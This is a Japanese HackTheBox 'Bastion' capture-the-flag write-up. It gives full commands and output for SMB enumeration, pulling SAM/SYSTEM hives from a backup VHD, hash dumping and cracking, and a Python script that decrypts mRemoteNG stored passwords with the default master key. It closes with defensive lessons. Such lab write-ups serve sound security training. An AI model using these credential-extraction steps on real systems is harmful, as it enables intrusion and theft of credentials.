HackTheBox: Bastion — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 135/139/445/5985等
→
22/ssh, 135/139/445/5985等
SMB匿名アクセス
非標準の”Backups”共有
→
非標準の”Backups”共有
VHDをCIFSマウント+7z抽出
SAM/SYSTEMハイブ
→
SAM/SYSTEMハイブ
secretsdump + hashcat
l4mpje:bureaulampje
→
l4mpje:bureaulampje
SSH l4mpje
user.txt ✓
→
user.txt ✓
mRemoteNG設定ファイル窃取
confCons.xml
→
confCons.xml
AES-GCM復号
デフォルトパスワード”mR3m”
→
デフォルトパスワード”mR3m”
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.136.29 nmap -sV -sC -p 22,135,139,445,5985 10.129.136.29
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman Service Info: OS: Windows Server 2008 R2 - 2012
ℹ️
珍しくWindows上でOpenSSHサーバーが稼働している
(通常のWindowsマシンはRDPやWinRMが主だが、本機はSSH公開鍵/パスワード認証が
使える)。偵察の軸はSMB(445)側に置く。
PHASE 2
SMB匿名アクセス → “Backups”共有 → VHDファイルの抽出
SMB共有の列挙
BASH
smbclient -L //10.129.136.29 -N
RESULT
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Backups Disk
IPC$ IPC Remote IPC
🚨
重要発見: 標準の管理共有(ADMIN$/C$/IPC$)に加えて、“Backups”という
非標準の共有が存在し、null session(匿名)でアクセス可能。
Backups共有の中身を確認
BASH
smbclient -N //10.129.136.29/Backups smb: \> recurse ON smb: \> ls
RESULT
WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\ 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd (約37MB) 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd (約5.4GB)
ℹ️
Windowsの「バックアップと復元」機能が作成した仮想ハードディスク(VHD)が
2つある。小さい方(37MB)はブート関連パーティション、大きい方(5.4GB)が
システムドライブ本体のイメージであり、中にSAM/SYSTEMレジストリハイブが
含まれている。
CIFSマウント & 7zでVHDから直接ファイル抽出
BASH
sudo mkdir -p /mnt/bastion sudo mount -t cifs //10.129.136.29/Backups /mnt/bastion \ -o vers=1.0,username=guest,password=,ro
⚠️
ハマりポイント: このマウントには
vers=1.0(SMB1強制)と
username=guest,password=(空パスワードのguestを明示)の両方が必要。
sec=none指定や、ユーザー名を省略したマウントは
Permission deniedになる。
BASH
# guestmountが無くても、7zはVHD(NTFSパーティション)を直接読める 7z e "/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" \ Windows/System32/config/SAM Windows/System32/config/SYSTEM \ -o./loot -y
ℹ️
5.4GBのVHDをSMB越しに読みながら該当ファイルだけ抽出するため、
数分程度の時間がかかる(ネットワーク越しのランダムアクセス読み込みに
なるため)。気長に待つこと。
BASH
sudo umount /mnt/bastion
PHASE 3
SAM/SYSTEMハイブからNTLMハッシュをダンプ & クラック
impacket-secretsdumpでローカルアカウントを抽出
BASH
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
RESULT
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
ℹ️
Administrator/Guestのハッシュは空パスワード相当の既定値
(
31d6cfe0d16ae931b73c59d7e0c089c0)だが、ローカルアカウントはドメイン外
(スタンドアロン)の場合そのまま空パスワードでログインできるわけではない
(SAM単体のローカルアカウントログオンポリシー依存)。L4mpjeの
NTハッシュが実際に解析対象になる。
hashcatでNTハッシュをクラック
BASH
echo '26112010952d963c8dc4217daec986d9' > l4mpje.hash hashcat -m 1000 -a 0 l4mpje.hash /usr/share/wordlists/rockyou.txt hashcat -m 1000 -a 0 l4mpje.hash /usr/share/wordlists/rockyou.txt --show
RESULT
26112010952d963c8dc4217daec986d9:bureaulampje
SSHログイン & user.txt 取得
BASH
ssh l4mpje@10.129.136.29 # Password: bureaulampje C:\Users\L4mpje>type C:\Users\L4mpje\Desktop\user.txt
RESULT
03f496e8d2ddc1154cc9e3b425f53690
user.txt — L4mpje
03f496e8d2ddc1154cc9e3b425f53690
PHASE 4
mRemoteNG設定ファイルの復号 → root.txt
mRemoteNGの設定ファイルを発見・取得
NOTE
mRemoteNGは複数のリモート接続(RDP/SSH/VNC等)の資格情報をまとめて管理できる Windows用クライアントで、設定ファイル confCons.xml に接続先ごとの 暗号化されたパスワードを保存している。
BASH
scp l4mpje@10.129.136.29:"C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml" .
RESULT (confCons.xml 抜粋)
<Node Name="RDP" ... Username="Administrator" Domain=""
Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Hostname="127.0.0.1" ... />
✅
Administrator宛の暗号化パスワードを発見。
mRemoteNGはAES-GCMでパスワードを暗号化しており、復号には
マスターパスワード(mRemoteNG全体の暗号化キー)が必要。
デフォルトマスターパスワード “mR3m” でAES-GCM復号
PYTHON
import base64, hashlib
from Cryptodome.Cipher import AES
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1
enc = base64.b64decode(
"aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
)
salt = enc[:16]
nonce = enc[16:32]
tag = enc[-16:]
ciphertext = enc[32:-16]
master_password = "mR3m" # mRemoteNG の既定の暗号化パスワード(空ではない)
key = PBKDF2(master_password, salt, dkLen=32, count=1000,
hmac_hash_module=SHA1)
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
cipher.update(salt) # salt を AAD(追加認証データ)として使用
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(plaintext.decode())
RESULT
thXLHM96BeKL0ER2
⚠️
ハマりポイント: mRemoteNGのデフォルトのマスターパスワードは
空文字列ではなく “mR3m”。空文字で復号を試みると
MAC check failed(GCMの認証タグ不一致)で失敗する。
復号パラメータはPBKDF2-HMAC-SHA1(1000回イテレーション, 32バイト鍵)、
salt = 暗号文の先頭16バイト、nonce = 続く16バイト、
AAD = salt自身、認証タグ = 末尾16バイトという
mRemoteNG独自のレイアウトになっている。
Administrator としてログイン & root.txt 取得
BASH
ssh administrator@10.129.136.29 # Password: thXLHM96BeKL0ER2 C:\Users\Administrator>type C:\Users\Administrator\Desktop\root.txt
RESULT
a7854fd1972ed6aaad828ee1760d3d66
root.txt — Administrator
a7854fd1972ed6aaad828ee1760d3d66
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — L4mpje
03f496e8d2ddc1154cc9e3b425f53690
root.txt — Administrator
a7854fd1972ed6aaad828ee1760d3d66
使用した脆弱性・設定不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SMB匿名アクセスでバックアップVHDが取得可能 | “Backups”共有 (445/tcp) | システム全体のバックアップイメージの情報漏洩 | Critical | 認証不要でVHDイメージをマウント・抽出しSAM/SYSTEMハイブを窃取 |
| 弱いパスワード | L4mpjeユーザーのNTハッシュ | SSHでの初期侵入 | High | hashcat -m 1000 + rockyou.txtで数秒クラック(bureaulampje) |
| mRemoteNG既定マスターパスワード未変更 | confCons.xml (AES-GCM暗号化資格情報) | 権限昇格 (Administrator) | Critical | 既定マスターパスワード”mR3m”でAES-GCM復号しAdministratorの平文パスワードを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 22/ssh, 135/139/445/5985 |
| 2 | 初期ファイル取得 | SMB匿名アクセス + “Backups”共有 | システムイメージVHD(5.4GB) |
| 2 | 資格情報抽出 | CIFSマウント+7z抽出+secretsdump | L4mpje NTハッシュ |
| 3 | 初期侵入 | hashcat -m 1000 crack | L4mpje:bureaulampje、user.txt取得 |
| 4 | 権限昇格 | mRemoteNG confCons.xml AES-GCM復号 | Administrator:thXLHM96BeKL0ER2 |
| 4 | フラグ取得 | SSH Administrator | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| システムバックアップ(VHD)がSMB匿名アクセス可能な共有に置かれている | バックアップ共有には必ず認証を要求し、必要最小限のユーザーにのみアクセスを限定する。SAM/SYSTEMハイブを含むバックアップイメージは特に機密性が高い。 |
| ローカルアカウントのパスワードがrockyouベースの辞書攻撃で数秒クラックできる弱さ | 複雑性要件を満たした強固なパスワードポリシーを強制し、辞書に載りやすい単純な単語の組合せを禁止する。 |
| リモート接続管理ツール(mRemoteNG)のマスターパスワードが既定値のまま運用されている | mRemoteNG等の資格情報管理ツールは導入時に必ずマスターパスワードを独自の強固な値に変更する。既定値のままだと暗号化自体が実質無意味になる。 |

